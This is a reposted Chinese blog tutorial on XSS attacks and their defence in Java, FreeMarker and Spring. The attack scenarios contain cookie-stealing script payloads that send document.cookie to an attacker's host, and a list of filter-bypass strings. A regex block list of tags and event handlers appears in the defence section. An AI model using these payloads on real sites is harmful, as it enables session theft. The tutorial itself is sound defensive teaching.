您的位置:首页 > 其它

XSS攻击与防御

2017-06-01 11:18 190 查看
转载一篇文章,感觉举的例子很生动;

一.什么是XSS,XSS攻击类型和方式

XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击

XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

攻击类型:

DOM Based XSS

DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

场景一:

当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:

<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容:<%=request.getParameter("content")%>

    </body>

</html>

我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

Stored XSS

Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

场景二:

a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。

Stored XSS漏洞危害性更大,危害面更广。

二.XSS如何防御

1.java层面的防御方式

方法一、过滤特殊字符

如<script>、<img>、<iframe>……

/**

 * 防止XSS(Cross Site Script)攻击的Filter

 * 

 * 

 */ 

public class XSSDefendFilter implements Filter { 

   

    public  static List<String> arrTagList = new ArrayList<String>(); 

   

    // public static boolean filterSwitch = 

    // com.travelsky.caair.common.Para.xssFilterB2C; 

   

    public XSSDefendFilter() { 

   

        super(); 

        if (arrTagList.size() == 0) {// 过滤敏感HTML TAG 

   

            arrTagList.add("<script"); 

            arrTagList.add("<embed"); 

            arrTagList.add("<style"); 

            arrTagList.add("<frame"); 

            arrTagList.add("<object"); 

            arrTagList.add("<iframe"); 

            arrTagList.add("<frameset"); 

            arrTagList.add("<meta"); 

            arrTagList.add("<xml"); 

            arrTagList.add("<applet"); 

            arrTagList.add("<link"); 

            arrTagList.add("onload"); 

            arrTagList.add("<img"); 

            arrTagList.add("<a"); 

            arrTagList.add("onmouse"); 

            arrTagList.add("onblur"); 

            arrTagList.add("onchange"); 

            arrTagList.add("onclick"); 

            arrTagList.add("ondblclick"); 

            arrTagList.add("onkey"); 

            arrTagList.add("onfocus"); 

            arrTagList.add("onselect"); 

        } 

    } 

   

    public void init(FilterConfig cfg) throws ServletException { 

        // TODO Auto-generated method stub 

   

    } 

   

    @SuppressWarnings("unchecked") 

    public void doFilter(ServletRequest request, ServletResponse response, 

            FilterChain chain) throws IOException, ServletException { 

        // TODO Auto-generated method stub 

        boolean flag = false; 

        Enumeration en = request.getParameterNames(); 

        String prtName = "-"; 

        String prtValue = "-"; 

   

        while (en.hasMoreElements()) { 

            prtName = (String) en.nextElement(); 

            prtValue = request.getParameter(prtName); 

            if (prtValue != null) { 

                if (judgeTagByRegular(prtValue.toLowerCase())) { 

                    System.out.println("ERROR Filter:" + prtName + "=" 

                            + prtValue); 

                    flag = true; 

                    break; 

                } 

            } 

        } 

   

        if (!flag) { 

            chain.doFilter(request, response); 

        } else {// Error Process,如果有错误,大家自己定向到一个位置 

            System.out.println("ERROR Filter:" 

                    + ((HttpServletRequest) request).getRequestURI()); 

   

            ((javax.servlet.http.HttpServletResponse) response) 

                    .sendRedirect(((HttpServletRequest) request).getContextPath()+ "/index.jsp"); 

        } 

    } 

   

    /**

     * 对arrTagList 的tag 用正则表达式封装

     * 

     * @param obj

     * @return

     */ 

    private boolean judgeTagByRegular(String obj) 

   

    { 

   

        Pattern pattern = Pattern 

                .compile( 

                        "(.*\\s*)((<\\s*script\\s*)|(<\\s*embed\\s*)|(<\\s*style\\s*)|(<\\s*img\\s*)|(<\\s*image\\s*)|(<\\s*frame\\s*)|(<\\s*object\\s*)|(<\\s*iframe\\s*)|(<\\s*a\\s*)|(<\\s*frameset\\s*)|(<\\s*meta\\s*)|(<\\s*xml\\s*)|(<\\s*applet\\s*)|(\\s*onmouse\\s*)|(<\\s*link\\s*)|(\\s*onload\\s*)|(\\s*onblur\\s*)|(\\s*onchange\\s*)|(\\s*onclick\\s*)|(\\s*ondblclick\\s*)|(\\s*onfocus\\s*)|(\\s*onkey\\s*)|(\\s*onselect\\s*)|(\\s*alert\\s*\\())(.*\\s*)", 

                        Pattern.CASE_INSENSITIVE); 

   

        return pattern.matcher(obj).matches(); 

   

    } 

   

    @SuppressWarnings("unused") 

    private boolean judgeHasTag(String obj) { 

        for (int i = 0; i < arrTagList.size(); i++) { 

            String tt = arrTagList.get(i).toString(); 

            if (obj.indexOf(tt) >= 0) { 

                return true; 

            } 

        } 

        return false; 

    } 

   

    /*

     * (non-Java-doc)

     * 

     * @see javax.servlet.Filter#destroy()

     */ 

    public void destroy() { 

        // TODO Auto-generated method stub 

    }  

}

此方法有一定局限性,有很多可以绕过的方式:

<scRIpt> 

<scr%00ript> 

<scr\nript> 

eval('<scr'+'ipt>') 

< script > 

...

方法二:还可以使用HTML和URL编码来避免问题。

可以使用apache-lang包中的提供的方法,如下:

System.out.println(StringEscapeUtils.escapeHtml("<iframe src='http://www.baidu.com'/>"));      

System.out.println(StringEscapeUtils.escapeHtml("<script>alert('ok');</script>"));

使用以上方法会得到下面的结果:

Java代码

<iframe src='http://www.baidu.com'/> 

<script>alert('ok');</script> 

这样经过html转义就可以防止html元素代码执行。方式XSS攻击。

2. FreeMarker防范XSS

我司大量采用FreeMarker模版机制,所以有必要在这个层面进行进行考虑,方式如下

Freemarker 有html escape 方法,但是框架没有地方可以配置默认escape

方法一:

网上比较多的是通过TemplateLoader,给加载的template文件头尾套<#escape>

 

<#escape x as x?html>

your template code

</#escape>

但是现在我们的应用如果对FreeMarker做了扩展,一个页面分3个部分,一个layout、一个view、多个control。

多次render才到最终结果。要控制比较麻烦配置,也不友好。

方法二:

改源码的$变量、默认全部转义、对固定的扩展的layout、一个view、多个control,配置正则原义输出。变量是string类型的时候,用了xxx?string作为原义输出的内建函数。

缺点:比较暴力,修改了DollarViable源码,后续freemarker有升级要跟随修改

  /**

       * The original code

       * env.getOut().write(escapedExpression.getStringValue(env));

       */

      String expr = escapedExpression.getCanonicalForm();

      TemplateModel referentModel =  escapedExpression.getAsTemplateModel(env);

      String output = Expression.getStringValue(referentModel, escapedExpression, env);

        

      if (referentModel instanceof TemplateScalarModel) {

          // layout placeholder and widget no escape and ?string

          if (expr.indexOf("!noescape") > -1 || expr.indexOf("?html") > -1 || expr.indexOf("parameters.") > -1

                  || expr.endsWith("?string") || doNoEscape(expr, env)) {

              env.getOut().write(output);

          } else {

              env.getOut().write(freemarker.template.utility.StringUtil.HTMLEnc(output));

          }

      }else{

          env.getOut().write(output);

      }

 

<!-- 设置 ViewResolver -->

  <bean id="freemarkerConfiguration"

         class="org.springframework.ui.freemarker.FreeMarkerConfigurationFactoryBean">

         <property name="templateLoaderPath"

                value="file://${greenline.guahao.template.templatePath}" />

         <property name="freemarkerSettings">

                <props>

                       <prop key="default_encoding">UTF-8</prop>

                       <prop key="number_format">#</prop>

                       <!-- 配置缓存时间 -->

                       <prop key="template_update_delay">${greenline.guahao.template.update.delay}</prop>

                       <prop key="classic_compatible">true</prop>

                       <prop key="auto_import">/macro/macros.ftl as spring</prop>

                       <prop key="url_escaping_charset">UTF-8</prop>

                       <prop key="defaultEncoding">UTF-8</prop>

                       <prop key="boolean_format">true,false</prop>

                       <prop key="datetime_format">yyyy-MM-dd HH:mm:ss</prop>

                       <prop key="date_format">yyyy-MM-dd</prop>

                       <prop key="locale">zh_CN</prop>

                </props>

         </property>

         <property name="freemarkerVariables">

       <map>

           <entry key="noescape_patterns" value-ref="noescape_patterns"/>

       </map>

   </property>

  </bean>

  <!-- 不进行转义正则 -->

  <util:list id="noescape_patterns" list-class="java.util.ArrayList">

         <bean class="java.util.regex.Pattern">

                <constructor-arg value="(^placeholder$)|(^widget)|(^token\(\)$)" />        

     <constructor-arg value="0"/>

         </bean>

  </util:list>

3.Spring层面进行防御

Spring框架也是我司采用的核心框架,下面从Spring的角度来说

方法一:

web.xml加上:

<context-param>

<param-name>defaultHtmlEscape</param-name>

<param-value>true</param-value>

</context-param>

Forms加上:<spring:htmlEscape defaultHtmlEscape="true" />

方法二:

实现一个自定义的HttpServletRequestWrapper,然后在Filter里面调用它,替换掉getParameter函数即可。

首先添加一个XssHttpServletRequestWrapper:

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { 

    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {

        super(servletRequest);

    }

    public String[] getParameterValues(String parameter) {

      String[] values = super.getParameterValues(parameter);

      if (values==null)  {

                  return null;

          }

      int count = values.length;

      String[] encodedValues = new String[count];

      for (int i = 0; i < count; i++) {

                 encodedValues[i] = cleanXSS(values[i]);

       }

      return encodedValues;

    }

    public String getParameter(String parameter) {

          String value = super.getParameter(parameter);

          if (value == null) {

                 return null;

                  }

          return cleanXSS(value);

    }

    public String getHeader(String name) {

        String value = super.getHeader(name);

        if (value == null)

            return null;

        return cleanXSS(value);

    }

    private String cleanXSS(String value) {

                //You'll need to remove the spaces from the html entities below

        value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;");

        value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");

        value = value.replaceAll("'", "& #39;");

        value = value.replaceAll("eval\\((.*)\\)", "");

        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");

        value = value.replaceAll("script", "");

        return value;

    }

}

然后添加一个过滤器XssFilter :

public class XssFilter implements Filter {

    FilterConfig filterConfig = null;

    public void init(FilterConfig filterConfig) throws ServletException {

        this.filterConfig = filterConfig;

    }

    public void destroy() {

        this.filterConfig = null;

    }

    public void doFilter(ServletRequest request, ServletResponse response,

            FilterChain chain) throws IOException, ServletException {

        chain.doFilter(new XssHttpServletRequestWrapper(

                (HttpServletRequest) request), response);

    }

}

最后在web.xml里面配置一下,所有的请求的getParameter会被替换,如果参数里面 含有敏感词会被替换掉:

<filter>

     <filter-name>XssSqlFilter</filter-name>

     <filter-class>com.ibm.web.beans.XssFilter</filter-class>

  </filter>

  <filter-mapping>

     <filter-name>XssSqlFilter</filter-name>

     <url-pattern>/*</url-pattern>

     <dispatcher>REQUEST</dispatcher>

  </filter-mapping>

4.FreeMarker和Spring结合考虑防御

FreeMarker作为"通用"模版引擎, 默认情况下不会对model中的值进行html转义, 然而在web项目中, 为了防止跨站脚本攻击等问题, 必须在对model中的值进行转义. 

解决办法: 

方法1. 是使用 ${x?html} 可以用于对单个值的转义

方法2. 使用<#escape x as x?html> ... </#escape> 将需要转义的html代码包起来, 这样其中所有的值都会被转义了. 

毫无疑问这两个方法都需要大量的重复操作, 如果我所有的模板都需要转义, 有没有一劳永逸的办法呢? 

方法3. 使用自定义TemplateLoader

首先我们需要实现一个TemplateLoader. 代码如下:

public class HtmlTemplateLoader implements TemplateLoader {       

    private static final String HTML_ESCAPE_PREFIX= "<#escape x as x?html>"; 

    private static final String HTML_ESCAPE_SUFFIX = "</#escape>"; 

       

    private final TemplateLoader delegate; 

   

    public HtmlTemplateLoader(TemplateLoader delegate) { 

        this.delegate = delegate; 

    } 

   

    @Override 

    public Object findTemplateSource(String name) throws IOException { 

        return delegate.findTemplateSource(name); 

    } 

   

    @Override 

    public long getLastModified(Object templateSource) { 

        return delegate.getLastModified(templateSource); 

    } 

   

    @Override 

    public Reader getReader(Object templateSource, String encoding) throws IOException { 

        Reader reader = delegate.getReader(templateSource, encoding); 

        String templateText = IOUtils.toString(reader); 

        return new StringReader(HTML_ESCAPE_PREFIX+templateText + HTML_ESCAPE_SUFFIX); 

    } 

   

    @Override 

    public void closeTemplateSource(Object templateSource) throws IOException { 

        delegate.closeTemplateSource(templateSource); 

    }

  }

为了和SpringMVC结合起来使用呢, 我们还需要自定义一个FreeMarkerConfigurer

public class CustomFreeMarkerConfigurer extends FreeMarkerConfigurer{ 

       

    @Override 

    protected TemplateLoader getAggregateTemplateLoader(List<TemplateLoader> templateLoaders) { 

   

        return new HtmlTemplateLoader(super.getAggregateTemplateLoader(templateLoaders)); 

   

    }     

}

然后在spring的xml配置中, 使用它来代替默认的FreeMarkerConfigurer即可

<bean id="freemarkerConfigurer" class="cn.ysh.studio.freemarker.SimpleFreeMarkerConfigurer"> 

    <!-- 其他配置跟之前相同 --> 

</bean>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: